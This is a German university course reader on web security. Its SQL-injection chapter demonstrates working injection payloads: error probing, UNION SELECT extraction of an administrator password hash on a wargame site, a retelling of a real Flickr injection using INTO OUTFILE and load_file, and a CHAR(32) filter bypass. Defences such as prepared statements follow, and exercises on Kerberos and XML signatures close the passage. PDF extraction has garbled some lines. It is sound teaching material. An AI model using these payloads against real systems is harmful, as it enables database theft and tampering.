Um das grundlegende Konzept von Datenbanken zu verstehen, wird hier das
Beispiel eines Supermarktes verwendet. Früher wurde der Preis eines Artikels
direkt auf diesen aufgeklebt. Stattdessen findet man heute lediglich einen standardisierten EAN-Code auf der Verpackung, welcher für den Verbraucher nicht
lesbar ist. Wird der Artikel nun an der Kasse eingescannt, gibt diese den Namen
und den Preis aus. Das Ganze funktioniert, weil der Einzelhändler eine Datenbank
einsetzt. Dabei muss aber differenziert werden, was Datenbanken sind, da diese
Abb. 4.1: Altes Preisetikett ?
eigentlich zwei verschiedene Bedeutungen haben:
a) die Datensammlung selbst, oder auch Datenbank (DB)
b) die Software, welche diese Daten verwaltet “Database Management System”
(DBMS)
Der 2. Punkt wird näher im nächsten Unterkapitel erläutert. In der Datensammlung
hingegen können unterschiedlichste Sachen gespeichert werden. Hier wird aber
wiederrum in der Regel unterschieden, um welche Art Daten es sich handelt. Dazu
gehören beispielsweise:
Stammdaten langfristige, statische Informationen. Zum Beispiel Personaldaten,
Produkte usw.
Seite 44
Studienbrief 4 SQL-Injection
Abb. 4.2: EAN Code ?
Bewegungsdaten dynamisch, stets veränderliche Daten. Körpertemperatur, Kon-
tostand.
Rechendaten zur Berechnungsgrundlage. Preise, Zinssätze.
Ordnungsdaten zuständig für Filterung. Postleitzahlen, KFZ-Kennzeichen.
Auf Grund dieses Potential werden Datenbanken nahezu überall eingesetzt. So
zum Beispiel auch im Internet, um Benutzerdaten zu verwalten oder Webshops
mit Artikeln zu pflegen. Dies bietet für Cyberkriminelle eine große Angriffsfläche,
worüber diese Arbeit detailliert informieren wird.
4.3 Datenbankmanagementsysteme
Es gibt verschiedene Modelle zur Strukturierung eines DBMS. Dazu zählen z.B
hierarchisch, netzwerkartige, objektorientierte, dokumentorientierte oder relationale Vorhergehensweisen.
Diese einzelnen Strukturen werden hier nicht näher erläutert, ausgenommen relationale Datenbanken, da diese die Datenbanksprache SQL benutzen.
In einer relationalen Datenbank werden Daten in Tabellen mit fester Spaltenzahl,
aber variabler Zeilenanzahl gespeichert. Diese Tabellen können miteinander verknüpft werden, falls diese ein gemeinsames Datenelement besitzen ?.
Umgesetzt wird eine Beziehung durch “Schlüssel”. Es gibt einen Primärschlüssel,
welcher als Wert in ein Feld in der verknüpften Tabelle eingetragen wird. Ein
Fremdschlüssel ist dann das Feld in der anderen Tabelle, auf den der Primärschlüssel zeigt. Man erkennt sehr gut, dass beide Tabellen die Spalte Lieferantennummer
beinhalten, also existiert eine Verknüpfung. In der ersten Tabelle ist diese Spalte
folglich der Primärschlüssel und in der Zweiten der Fremdschlüssel.
Es wird zwischen verschiedenen Herstellern [Abbildung ??] von DBMS unterschieden. Diese benutzen zwar alle SQL, jedoch gibt es einige Unterschiede bezüglich
der Interfaceprogrammierung, Größe, Plattformkompatibilität usw.
Zusätzlich werden im Verlauf der Arbeit, weitere Begriffe aus verschiedenen Bereichen verwendet, welche dennoch die selbe Bedeutung haben. Eine Übersicht sieht
man in [Tabelle ??].
4.4 Syntax/Keywords von SQL
Grundlegend unterscheidet man zwischen vier verschiedenen Kategorien von
SQL-Befehlen.
nal
n
ut
4.4 Syntax/Keywords von SQL
Seite 45
Abb. 4.3: Verknüpfungen einzelner Tabellen ?
SQL
Tabelle
Zeile
Spalte
Datei-Organisation
Datei
Datensatz
Feld
Tabelle 4.1: äquivalente Begriffe aus unterschiedlichen Bereichen
Data Manipulation Language(DML) um Daten zu manipulieren. Hierzu zählen
Löschen(Delete), Ändern(Update) und Einfügen(Insert).
Data Definition Language(DDL) beschreibt bzw. definiert Datenstrukturen.
Data Control Language(DCL) zur Rechteverwaltung, sowie Datenschutz.
Data Retrieval Language(DRL) zur Datenabfrage (SELECT, JOIN, WHERE)
Im Folgenden werden Teile DRL näher betrachtet. Dabei handelt es sich ausschließlich um sogenannte Abfragen(Queries), welche nicht case sensitive sind. Die Funktionen werden zur Übersicht dennoch groß geschrieben. Die Zeilenlänge spielt
ebenso keine Rolle. Wichtig ist, dass der Abfrage mit einem “;” endet.
Wenn man das Beispiel aus 1.1 mit dem Supermarkt und dem EAN-Code benutzt
könnte eine mögliche SQL Abfrage beim scannen wie folgt aussehen.
1
SELECT *
2
FROM Artikel
3
WHERE EanCode = '9783540345329';
Im Endeffekt würden nun alle Spalten, sowie Zeilen des Artikels ausgegeben werden, wo der EAN-Code gleich 9783540345329 ist.
Der Grundaufbau einer SELECT Anweisung sieht wie folgt aus, wobei Anweisungen in “[]” optional sind.
1
2
SELECT
[rechenoperation|funktionsauswahl]
3
spaltenname
4
FROM tabelle
5
[WHERE bedinungen]
6
[GROUP BY spalten]
Seite 46
Studienbrief 4 SQL-Injection
Abb. 4.4: verschiedene
Hersteller von RDBMS
7
[HAVING aggregatfunktionen]
8
[ORDER BY spalte [ASC] [DESC]
9
[LIMIT [Anfang][Zeilenanzahl]]
Kommentare sind in SQL durch - - (für Zeilenkommentare) oder mit /* Kommentar
*/ über mehreren Zeilen realisierbar. Zum Besseren Verständnis folgen nun weitere
Beispiele.
1
SELECT * FROM Artikel;/* gibt alle Spalten aus. Da die Auswahl nicht weiter
eingegrenzt wurde, werden zusaetzlich alle Zeilen von der Tabelle Artikel
ausgegeben */
Bei der Klasse Artikel könnte dies z.B der Preis, der Name oder die Nummer
sein. Wenn nicht alles ausgegeben werden soll, kann man diese Abfrage auch
eingrenzen, indem man Spalten auswählt, die man nur benötigt.
1
SELECT Preis, Name
2
FROM Artikel; -- hier wuerde nur die Spalte Preis und Name ausgegeben werden.
Man kann sich auch nur die Zeilen ausgeben lassen, welche beispielsweise durch
Namen gefiltert wurden.
1
SELECT Name, Preis
2
FROM Artikel
3
Where Name = 'Milch';/* Dies gibt dann die Zeilen aus, welche Milch als Titel
beinhalten mit der Spalte Preis und Name.*/
Zusätzlich gibt es noch den LIKE Operator. Dieser wird benutzt, wenn man nicht
den exakten String des zu suchenden Datensatz kennt.
1
SELECT Name
2
FROM Artikel
4.5 Aufbau von Web Applikationen
3
Seite 47
WHERE Name LIKE 'F%';-- '%' steht fuer eine beliebige Zeichenkette. Moegliche
Ausgabe: Milch, Mehl usw.
Um unnötiges Suchen zu ersparen, lässt sich die Ausgabe auch sortiert ausgeben.
1
SELECT * FROM Artikel
2
ORDER BY Name ASC -- ASC bedeutet ascending (aufsteigend), DESC waere absteigend
Mit dem UNION Befehl lassen sich mehrere SELECT Anweisungen kombinieren,
so dass diese in einer Query untergebracht werden können. Dies ist nützlich, wenn
beispielsweise Daten aus unterschiedlichen Tabellen ausgegeben werden sollen.
1
SELECT Name, Preis
2
FROM Artikel
3
UNION
4
SELECT Anschrift, PLZ
5
FROM Kunde
6
--hier wuerde nun der Name und Preis aller Artikel, sowie die Anschrift und PLZ
aller Kunden ausgegeben werden.
Auch boolesche Logik lässt sich realisieren.
1
OR 1=1--
Wie man sieht, sind die Abfragen prinzipiell leicht zu verstehen, da die Funktionen
bzw. Methoden sehr treffende Namen haben. Deshalb wird an dieser Stelle auf
weitere Beispiele verzichtet und auf [Abbildung ??] verwiesen.
Abb. 4.5: weitere SQL
Anweisungen ?
4.5 Aufbau von Web Applikationen
Da diese Arbeit sich mit SQL-Injectionen im Bezug auf Web Umgebungen versteht,
muss noch oberflächlich erklärt wie diese funktionieren.
Stellen wir uns einen großen Webshop vor, welcher eine Menge von Verwaltungsaufgaben (User, Produkte, Logistik, Kaufabwicklung usw.) hat.
Um dies zu realisieren setzt man auf ein vier Schichten (Tier) Modell. Dazu gehören
Presentation Tier, Logic Tier, Application Tier und die Datenbank(DB) [Abbildung
??]. Nimmt man nun an, dass ein Benutzer im Webbrowser (Presentation Tier)
Seite 48
Studienbrief 4 SQL-Injection
Abb. 4.6: Grundlegender Aufbau einer Web
Applikation ?
einen Onlineshop mit http://www.einwebshop.de aufruft. Der Webserver
im Logic Tier lädt daraufhin das Script vom Dateisystem und gibt dieses an die
Scipting Engine weiter, wo dieses analysiert und ausgeführt wird. Dann wird eine
Programmierschnittstelle aufgerufen, welche die Verbindung zur Datenbank herstellt. Diese leitet dann die angeforderten Daten über die vorherige Kette zurück,
sodass diese dann letztendlich im Presentation Tier als Webpräsenz dargestellt
werden.
4.6 HTTP Requests
Den Schritt zwischen dem Presentation Tier und dem Logic Tier wollen wir noch
einmal genauer betrachten. Damit diese sich untereinander verstehen benötigen wir
das HTTP Protokoll. Wenn zum Beispiel ein Client eine Anfrage(Request) an den
Server sendet, dann unterscheiden wir zwischen unterschiedlichen Methoden.
GET fordert eine Ressource vom Server an, meistens werden diese an die URL
direkt gehängt.
POST sind im Gegensatz zum GET längenunbegrenzt. Die Daten werden im Body
Teil übermittelt. Wird meistens beim Formularen mit mehreren Eingaben
verwendet.
PUT erzeugt Ressource auf dem Server.
DELETE löscht eine Ressource vom Server.
HEAD fragt lediglich den Header an.
OPTIONS fragt die angebotenen Request Methoden vom Server ab.
Der Punkt, wo ein Angreifer ansetzt, ist der GET oder POST Request, da diese
beim einfachen “browsen” verwendet werden. Beide Methoden lassen sich einfach
verändern, sodass beliebige Eingaben möglich sind.
4.7 Einführung SQL-Injection
Man spricht von einer SQL-Injection, wenn ein Dritter es schafft in SQL Queries
eigenen Code einzuschleusen (engl. inject) und ausführen zu lassen.
SQL-Injection lässt sich zusammenfassend in drei verschiedene Teile aufteilen.
Inband Daten werden auf dem gleichen Kanal ausgelesen, auf dem auch die
SQL-Injection stattfindet.
Out-of-Band Daten werden über einen anderen Kanal ausgelesen. Das Ergebnis
der Query könnte bspw. als E-Mail verschickt werden.
Inferential oder Blind es findet kein Datentransfer statt. Vielmehr versucht der
Angreifer das Verhalten bzw. die Veränderungen der Webseite zu analysieren, wenn verschiedene Abfrage gesendet werden.
4.7 Einführung SQL-Injection
Seite 49
Eine Injection ist in jeder Umgebung vorstellbar, wo ein Datenbanksystem eingesetzt wird. In dieser Arbeit wird auf die Webumgebung fokussiert. Dennoch ist
es beispielsweise möglich, bösartigen EAN-Code zu kreieren, welcher dann beim
Einscannen ausgeführt wird.
Ein einfaches Beispiel für eine SQL-Injection in einer Webumgebung, ist der Aufruf der Webpräsenz www.einwebshop.de/artikel.php?id=2, welche einen
Artikel mit der ID 2, mit dem dazugehörigen Preis und der Beschreibung anzeigt.
Der ausgeführte SQL Aufruf sieht dann wie folgt aus:
1
SELECT id,preis,beschreibung FROM artikel WHERE id='2';
Wird dieser Aufruf zu www.einwebshop.de/artikel.php?id=2’ verändert,
wird auch ein andere Query ausgeführt. Diese lautet:
1
SELECT id,preis,beschreibung FROM artikel WHERE id='2'';
Durch das Einfügen des Hochkommas (’) hinter der “2”, wird die SQL Syntax
verletzt. Oftmals wird nun eine Fehlermeldung ausgegeben, was jedoch optional
ist. Dies erweckt fälschlicherweise den Eindruck, dass die Webpräsenz vor SQLInjection geschützt ist. Ein beispielhafter Error sieht wie folgt aus:
1
Could not successfully run query (SELECT id,preis,beschreibung FROM artikel WHERE id
= '2'') from DB You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near '' at
line 1.
Auf Grund solch eines Errors, weiß dann der Angreifer, dass die Eingabe vom
DBMS ausgeführt wurde und somit eigener Code eingeschleust werden kann.
Die Folgen durch Injection sind immens, da nun beliebige Code ausgeführt werden
kann, was einem Dritten die vollständige Kontrolle über das Datenbanksystem
eines Unternehmen gibt. Denkbar wäre jetzt z.B der Diebstahl von sensiblen Kundendaten (Kreditkarteninformationen, Passwörter etc.) oder gar die komplette
Datenbank zu löschen.
Im Folgenden wird das Extrahieren des Administrator Passwortes an Hand eines
Wargames näher erläuter ?.
Beim Aufruf der Seite http://www.enigmagroup.org/missions/basics/
sql/2/index.php?id=1 wird die Webpräsenz eines Programmierers angezeigt.
Der ID Parameter in der URL lässt vermuten, dass ein Datenbanksystem zur Verwaltung einesetzt wird. Mit Hilfe des Hochkommas wird wiederrum versucht, die
SQL Syntax zu verletzen. Daraufhin wird folgende Fehlermeldung ausgegeben:
1
Could not successfully run query (SELECT * FROM `news` WHERE `id` = 1') from DB: You
have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '' at line 1.
Das System ist also anfällig für Injection. Die Meldung gibt auch noch zusätzlich
die Information, dass offensichtlich eine Tabelle mit dem Namen “news” existiert.
Damit Daten ausgelesen werden können, muss erst in Erfahrung gebraucht werden,
wie viele Spalten die Tabelle “news” hat. Es bieten sich dazu zwei verschiedene
Vorgehensweisen an, welche beide auf dem “Try and Error” Prinzip basieren.
Die erste Methode ist die Verwendung des ORDER BY Befehls. Dabei wird die
Spaltenanzahl bis zu einer Fehlermeldung inkrementiert. Dementsprechend ist
die letzte funktionierende Sortierung die richtige Spaltenanzahl. Angewendet auf
das Beispiel sieht dies wie folgt aus:
1
http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=1 ORDER BY 1
2
http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=1 ORDER BY 2
Seite 50
Studienbrief 4 SQL-Injection
3
http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=1 ORDER BY 3
4
http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=1 ORDER BY 4
Bei der Sortierung nach Spalte 4 erscheint daraufhin die Fehlermeldung, dass diese
Spalte nicht existiert.
1
Could not successfully run query (SELECT * FROM `news` WHERE `id` = 1 ORDER BY 4)
from DB: Unknown column '4' in 'order clause'.
Offensichtlich hat die Tabelle “news” drei Spalten.
Die zweite Methode ist die Verwendung des UNION SELECT Befehls. Dadurch,
dass keine explizite Tabelle (“FROM”) nach dem UNION SELECT angegeben wird,
wird sich wiederrum auf die Tabelle “news” bezogen. Da im ersten Teil der Query
immer alle (“SELECT *”) Spalten ausgewählt werden, erscheinen Fehlermeldungen,
wenn wir keine drei Spalten auswählen.
1
Could not successfully run query (SELECT * FROM `news` WHERE `id` = 1 UNION SELECT
1,2) from DB: The used SELECT statements have a different number of columns
Jetzt ist es möglich die Userdaten zu extrahieren. Das einzige Problem ist, dass
der Angreifer nicht weiß, wie die Tabelle heißt, wo diese Daten abgespeichert
sind. Abhängig vom eingesetzten RDBMS gibt es aber Funktionen, welche alle
Tabellennamen ausgeben. Jedoch werden meistens dass ein Namen verwendet,
welche den Inhalt der Tabelle beschreiben.
In diesem Beispiel handelt es sich um Benutzerdaten, weshalb mögliche Tabellennamen z.B “Kundendaten, Userdaten, Member, User, Users etc.” wären. Durch
Probieren stellt sich raus, dass eine Tabelle mit dem Namen “Users” existiert. Die
zugehörigen Spaltennamen lassen sich ebenfalls erraten.
Um jetzt z.B das Kennwort des Administrators zu erlangen verwenden wir die
Spaltennamen “Username, Password, Id”. Des Weiteren benutzen wir den WHERE
Befehl, um die Ergebnisse zu filtern. Der folgende Befehl gibt das Passwort und
den Benutzernamen des Users mit der ID=1 aus.
1
http://www.enigmagroup.org/missions/basics/sql/2/index.php?id=-1 UNION SELECT 1,
username,password from users WHERE ID=1
Wie man erkennt ist der Hashwert des Passwort vom Administrator
“6537d34fd1c080b5cb7f06dde3a26fe8” [Abbildung ??].
Abb. 4.7: Extrahieren
von Benutzerdaten
4.8 die Flickr Sicherheitslücke
Nachdem die Grundlagen nun erläutert wurden, folgt ein reales Beispiel von einer
Sicherheitslücke vom 15. April 2014, veröffentlicht von Imbrahim Raafat. Diese
zeigt, dass der Fotodienst Flickr beim Check-Out anfällig für Blind SQL Injection
war. Herr Raafat hat diese auf Video ? dokumentiert. Hier werden nun einzelne
4.8 die Flickr Sicherheitslücke
Seite 51
Screenshots von der Aufzeichnung folgen, welche dann genauer erläutert werden.
Zuerst wird die Seite www.flickr.com aufgerufen, eine Bestellung aufgegeben
und ein Formular mit belanglosen Nutzerdaten ausgefüllt [Abbildung ??]. Dies
wird dann abgeschickt und ein Browser Addon für die HTTP Header Ausgabe
wird geöffnet. Dort sieht man, wie das HTTP Protokoll mit der POST Methode die
Abb. 4.8: CheckOut von Flickr
Daten an die Flickr API weitergegeben hat.
1
order_id=114428733&first_name=dhd&last_name=hddh&street1=dhdf%20st&street2=rt%20
street&city=toto&state=vv&postal_code=11475&country_code=US&phone=656565651&
method=flickr.products.orders.setShippingAdress&csrf=1395452848%3
Alupta29dmjx20529%3A5b1a65b4115727be2d77002759769da3&api:key=
a216eb6223a4e1ecb16a2dcafb0ea1cf&format=json&hermes=1&hermesClient=1&reqId=4
wk7wuw&nojsoncallback=1
Danach wird die Abfrage so verändert, dass die Syntax ungültig ist (s. Kapitel 1.6).
Dazu benutzt Raafat ein auch Hochkomma und platziert dieses hinter der Order
ID, sodass folgende Fehlermeldung erscheint.
1
{"stat";"Fail","code";1,"message":"Order not found."}
Die Meldung, dass die Bestellung nicht gefunden wurde, gibt Aufschluss, dass
Benutzereingaben nicht gefiltert werden. Denn hier wurde explizit nach der Bestellung mit der ID “ 114428733‘ ” gesucht. Wenn anstatt des Hochkomma die Abfrage
durch “AND 1=1” logisch wahr wird, erscheint folgende Ausgabe.
1
{"order_info":{"is_valid_address":"false", "order_id":"114428733","user_id":"
11947581@N02", "date_update":null, "cost_total": null,"cost_shipping":null, "
cost_tax":null, "ship_method":null, "shipping_adress":{"shipping_adress_id":
null, "fist_name":"dhdf", "last_name":"hddh","street1":"dhdf st", "street2": "
rt street", "city":"toto", "state":"vv", "postal_code":"11475", "country_code":
"US", "phone":"656565651"}}, "stat":"ok"}
Jetzt wurde der ganze Input des HTTP POST ausgegeben, da nun die Order ID
mit der angefügten “AND 1=1” Bedingung als Query gesendet wurde. Wenn das
“1=1” z.B durch “1=2” ersetzt wird, wird die Bedinung wieder unwahr und das
RDBMS findet erneut die Bestellung nicht.
Als nächstes muss in Erfahrung gebracht werden, wie viele Spalten die obige
Abfrage hat. Dies lässt sich durch einfaches iterieren der Spaltenzahl realisieren.
Man inkrementiert bis die erste Fehlermeldung angezeigt wird. Dabei hat man
Seite 52
Studienbrief 4 SQL-Injection
zwei Möglichkeiten. Die erste ist dies mit der Sortierung (“order by”) zu realisieren
oder mit “UNION”, womit man zwei SELECT Befehle verbinden kann. Raafat
nutzt hier die erste Variante.
1
order_id=114428733 ORDER BY 10
Durch probieren erkennt man, dass ab “16” wieder der Fehler erscheint. Dementsprechend hat die Tabelle 15 Spalten. Um zu zeigen, dass eine Injection funktioniert,
muss zuerst eine nicht existierende Order ID aufgerufen werden. Dies geschieht
durch setzen eines “-” vor der Order ID. Anschließend wird die erste Spalte zum
Injizieren verwendet.
1
order_id=-116564954 UNION SELECT "@RaafatSEC",2,3,4,5,6,7,8,9,10,11,12,13,14,15 INTO
OUTFILE "/tmp/raafat"--
Es wird also in dem Temp Verzeichnis eine Textdatei mit dem Inhalt @RaafatSEC
geschrieben. Um zu verifizieren, dass dies funktioniert, wird anschließend die
load_file Funktion benutzt.
1
order_id=-116564954 UNION SELECT load_file("/tmp/raafat")
,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Diese Abfrage gibt dann den Dateiinhalt in der ersten Spalte (also der Order ID)
aus.
1
{"order_info":{"is_valid_address":"false", "order_id":"@RaafatSEC".........} <!-Gekuerzt zur Ueberschaulichkeit -->
Kleine Textdateien abgelegt auf einen Server ist nicht sonderlich gefährlich für den
Betreiber. Doch durch die Tatsache, dass Code injizierbar ist, ist der Impact des
Angriffs enorm, da man so vollständige Kontrolle über die Datenbank erhalten
kann. Herr Raafat erzählt in seinem Blog ?, dass er zusätzlich noch das Root
Passwort der Datenbank ausgelesen hat, sowie einige Tabellen gelöscht hat. In
diesem Kapitel werden Möglichkeiten zum Schutz vor SQL-Injection untersucht.
Dabei gilt als goldene Regel immer “never trust user data”. Wichtig für deren
Implementierung ist, dass diese dynamische SQL Generierung verhindern.
4.9 Prepared Statements
Die Parameter in der Abfrage werden vor der Ausführung auf ihre Gültigkeit
überprüft. Dies erhöht nicht nur die Sicherheit, sondern steigert auch die Performance. Grund dafür sind SQL-Templates und Platzhalter, da diese nur einmal
interpretiert werden und lediglich die entsprechenden Platzhalter ersetzt werden
müssen. Durch die Verankerung des Templates in der Datenbank, können keine
Änderungen vorgenommen werden. Der genaue Ablauf sieht wie folgt aus ?:
a) SQL-Query inkl. Platzhaltern wird abgesendet.
b) Server überprüft Query auf syntaktische Korrektheit, sowie validiert ihre
Zusammenhang (ergibt die Eingabe “Sinn”?).
c) Query wird in einem Puffer zwischengespeichert.
d) Es wird eine Referenz auf die Query zurückgegeben.
e) Wenn diese ausgeführt werden soll, wird Referenz inkl. Platzhalter an Server
geschickt.
4.10 Eingabenmaskierung
Seite 53
f) Server ersetzt die Platzhalter durch die entsprechender Parameter und führt
die Query aus.
Ein entsprechendes Beispiel sieht man hier:
1
// Datenbankverbindung aufbauen
2
$db = new mysqli("localhost", "user", "password",
3
"datenbank");
4
// Query vorbereiten
5
$stmt = $db->prepare("INSERT INTO kunden VALUES (?, ?,
6
?)"");
7
// Platzhalter befuellen (1x Integer und 2x String)
8
$stmt->bind_param("iss", $pId, $pVorname, $pNachname);
9
// Query ausfuehren
10
$stmt->execute();
11
// Statement schliessen
12
$stmt->close();
13
// Datenbankverbindung schliessen
14
$db->close();
Wenn jetzt z.B ein Angreifer als Vorname “Dennis’ or 1=1” eingeben würde, würde
einfach der ganze String eingesetzt werden und nicht OR 1=1 ausgeführt werden.
4.10 Eingabenmaskierung
Regular Expressions sind nützlich um die Dateneingabe genau zu definieren. Dabei
bietet sich sogenanntes Whitelisting an. Dies bedeutet, dass nur genau die Eingabe
in dem Format angenommen wird, wie es vorher definiert wurde. Ein Beispiel ist
ein Eingabefeld für eine Postleitzahl. Die Zeichenkette besteht in Deutschland aus
genau fünf Zahlen. Eine Regular Expression sieht dann so aus:
1
^\d{5}$
Zusätzlich bieten Skriptsprachen noch Funktionen, um Benutzereingaben zu filtern.
Bei PHP ist dies z.B mysql_real_escape_string(), um vor kritischen Eingaben ein
Backslash einzufügen, damit diese nicht ausgeführt werden. Theoretisch würden
dabei SQL-Injections überhaupt nicht mehr möglich sein. Jedoch funktioniert dies
nicht bei Zahlenwerten. Deswegen sollte man zusätzlich noch IntVal() benutzen.
Dies lässt sich mit diesem Beispiel demonstrieren ?.
1
$userid = isset($_GET['id']) ? $_GET['id'] : 0;
2
$userid = mysql_real_escape_string($userid);
3
RunQuery("SELECT userid, username FROM sql_injection_test WHERE userid=$userid");
Das Problem ist, dass die Eingabe einen Zahlenwert ohne Hochkommata erwartet.
Also landen die Eingaben direkt in der Abfrage.
1
--Beispiel 1
2
id=0 UNION ALL SELECT userid, CONCAT(username, ' ', password)
3
FROM sql_injection_test WHERE 1
4
--Beispiel 2
5
id=0 UNION ALL SELECT userid, CONCAT(username, CHAR(32), password)
6
FROM sql_injection_test WHERE 1
Beispiel 1 würde hier zwar keinen Erfolg haben, da die Hochkommata gefiltert
werden würden. Beispiel 2 umgeht die Filterung aber durch Benutzen des Char 32,
Seite 54
Studienbrief 4 SQL-Injection
welches in ASCII Codierung für das Leerzeichen steht.
Das bereinigte Beispiel mit IntVal sieht dann wie folgt aus:
1
$userid = isset($_GET['id']) ? $_GET['id'] : 0;
2
userid = intval($userid);
3
$userid = mysql_real_escape_string($userid);
4
RunQuery("SELECT `userid`, `username` FROM `sql_injection_test`
5
WHERE `userid` = '$userid'");
SQL-Injections sind heutzutage keinesfalls zu unterschätzen. Fast täglich gibt es
Nachrichten auf IT-Portalen, über neue Sicherheitslücken. Dabei kann immenser
Schaden entstehen. Vom Datenklau bis hin zum Löschen der kompletten Datenbank ist alles möglich, sofern eine Lücke existiert.
Wie man im Kapitel 2 sieht, bleiben auch große, renommierte Firmen nicht von
verschont, obwohl man als Nutzer diesen eine gewisse Kompetenz unterstellt. Um
kriminellen Missbrauch entgegenzuwirken bieten diese heutzutage sogenannte
“Bug Bounty” Programme an. Zum Beispiel hat der Entdecker der Flickr Lücke
15.000 USD für das Melden dieser Lücke erhalten.
Auf der OWASP Top 10 Liste ? belegen Injection Attacks in 2013 den ersten Platz.
Besonders bei Updates/Launch neuer Webpräsenzen ist Vorsicht geboten. Nicht
nur deshalb wird generell empfohlen die im Kapitel 4 vorgestellten Präventionen
einzusetzen. In den nächsten Jahren wird sich bezüglich dies auch nicht viel ändern, da Datenbanken ein wichtiger Bestandteil der IT bleiben werden.
Der einzige positive Lichtblick ist, dass auch mittlerweile nicht nur IT spezifische
Nachrichten aufklären und die User versuchen zu sensibilisieren. Dies war z.B bei
der Heartbleed-Sicherheitslücke als auch bei der Quizduell App der Fall. Natürlich
hat der normale User keinerlei Schuld an solchen Vorkommnissen. Jedoch liegt es
in seiner Hand dem jeweiligen Unternehmen ein Zeichen zu setzen, indem er die
Dienste noch weiterhin nutzt oder nicht.
Studienbrief 5 Single Sign-On
Seite 55
Studienbrief 5 Single Sign-On
5.1 Lernziele
Sie kennen Grundlagen von Single Sign On und sind in der Lage SSO Protokolle,
wie Kerberos, Microsoft Passport und OpenID zu erläutern.
Der Inhalt dieses Studienbriefs ist in (?, Kapitel 11.3 und 11.4) nachzulesen.
5.2 Übungsaufgaben
Übung 5.1
a) Beschreiben Sie wie die Funktionalität von Kerberos mit asymmetrischer Kryptographie implementiert werden kann. Überlegen Sie
welche Voraussetzungen dafür gegeben sein müssen.
Ü
b) Welche Vorteile hat der Einsatz von asymmetrischer Kryptographie
in diesem Fall?
c) Hat Ihr Vorschlag Nachteile gegenüber Kerberos?
Übung 5.2
Betrachten Sie folgende Variante des Kerberos-Protokolls zwischen Parteien
A und B und dem key distribution center S , bei dem Parteien A und B einen
gemeinsamen Schlüssel K etablieren. Dabei bezeichnet {M}K die symmetrische Verschlüsselung von M mit Schlüssel K , und KPS bezeichnet den
symmetrischen Schlüssel der von Partei P ∈ {A, B} mit S geteilt wird.
1. A → S : (A, B)
2. S → A : ({K̂}KAS , {K̂}KBS , A, B)
3. A → B : ({K̂}KBS , A)
a) Zeigen Sie wie sich eine Partei C gegenüber B leicht als Partei A ausgeben kann, und beschreiben Sie wie man diesen Angriff verhindern
kann!
b) Beschreiben Sie, wie ein Angreifer D erreichen kann dass Partei A
und B in neuen Sitzungen einen Schlüssel aus einer vorigen Sitzung
verwenden. Wie kann man diesen Angriff verhindern?
Ü
Seite 56
Studienbrief 5 Single Sign-On
Übung 5.3
a) Erläutern Sie welche Vorteile der Einsatz von MS-Passport anbietet!
b) Woran erkennt der Web-Server/ReplyingParty/ServiceProvider, dass
sich der Client noch nicht eingeloggt hat?
c) Erläutern Sie stichpunkartig, wie ein weiteres SignIn (nachdem sich
der Client ein Mal authentifiziert hat) funktioniert?
d) Was passiert, wenn der Client über ein veraltetes Cookie verfügt und
eine Verbindung mit dem Webserver aufbauen möchte?
e) Was passiert beim Single Sign-Out? Wieso ist der Client danach nicht
in der Lage die alte Session zu verwenden?
Studienbrief 6 XML Security
Seite 57
Studienbrief 6 XML Security
6.1 Lehrziele
Die Studierenden haben ein Verständnis fr die neuartigen Sicherheitsanforderungen und Probleme, die durch den Einsatz von XML- und WS-Security entstehen.
Der Inhalt dieses Studienbriefs ist in (?, Kapitel 12).
6.2 Übungsaufgaben
Übung 6.1
Ü
Das XML-Dokument aus ?? soll kanonisiert werden.
Inclusive Canonicalization Machen Sie sich mit dem InclusiveCanoni-
calization-Verfahren vertraut (siehe http://www.w3.org/TR/
xml-c14n). Wenden Sie dieses Verfahren auf den Knoten <ns2:B>
in ?? an.
Exclusive Canonicalization Machen Sie sich mit dem ExclusiveCano-
nicalization-Verfahren vertraut (siehe http://www.w3.org/TR/
xml-exc-c14n/). Wenden Sie auch dieses Verfahren auf den
Knoten <ns2:B> in ?? an.
Quelltext 6.1: Ein
s:ns1= " h t t p : // e i n s . ns "
s:ns3= " h t t p : // d r e i . ns "
s:ns2= " h t t p : //zwei . ns " >
xmlns:ns4= " h t t p : // v i e r . ns "
xmlns:ns5= " h t t p : // f u e n f . ns " >
C ID= " 78762 " />
D r e f = " 12345 " ID= " 12456 " xmlns:ns6= " h t t p : // s e c h s . ns " />
E />
>
nicht kanonikalisiertes
XML-Dokument.
Quelltext 6.2: Ein Beispiel-XML-Dokument, das signiert werden soll.
1
2
3
4
5
6
7
8
9
10
11
12
<?xml v e r s i o n= " 1 . 0 " encoding= "UTF−8" ?>
<seclist:warenkorb x m l n s : s e c l i s t =" h t t p : / / . . . ">
< s e c l i s t : e n t r y i d= " A r t i k e l 1 " >
< s e c l i s t : a r t i k e l n r >123456</ s e c l i s t : a r t i k e l n r >
< s e c l i s t : a r t i k e l B e z e i c h n u n g >Router</ s e c l i s t : a r t i k e l B e z e i c h n u n g >
< s e c l i s t : p r e i s >40</ s e c l i s t : p r e i s >
< s e c l i s t : a b t e i l u n g >Hardware</ s e c l i s t : a b t e i l u n g >
< s e c l i s t : a b t e i l u n g >Computernetze</ s e c l i s t : a b t e i l u n g >
< s e c l i s t : f i l i a l e >Bochum</ s e c l i s t : f i l i a l e >
< s e c l i s t : b e n u t z e r k o n t o >111111111</ s e c l i s t : b e n u t z e r k o n t o >
</ s e c l i s t : e n t r y >
</ s e c l i s t : w a r e n k o r b >
Seite 58
Studienbrief 6 XML Security
6.2 Übungsaufgaben
Übung 6.2
Betrachten Sie das gegebene XML Dokument aus ??. Es soll nun eine detaillierte Beschreibung dazu erfolgen, wie eine XML Signatur dazu erstellt
wird.
Hinweise:
• Das <ds:Signature/> Element soll als erstes Kindelement von
<seclist:warenkorb/> hinzugefügt werden.
• Nur dasjenige Element soll signiert werden, welches die id=
"Artikel1" hat. Verwenden Sie beim Signieren keine XPathAusdrücke!
• Halten Sie Sich hierbei stets an den Standard für XML-Signature. Alle
benötigten Informationen können auf folgender Webseite gefunden
werden: http://www.w3.org/TR/xmldsig-core/.
Beantworten Sie die folgenden Fragen:
a) Wie genau sieht die Namespace Deklaration für das Präfix ds im
<ds:Signature/> Element aus? Bitte geben Sie hier den vollständigen Namespace an.
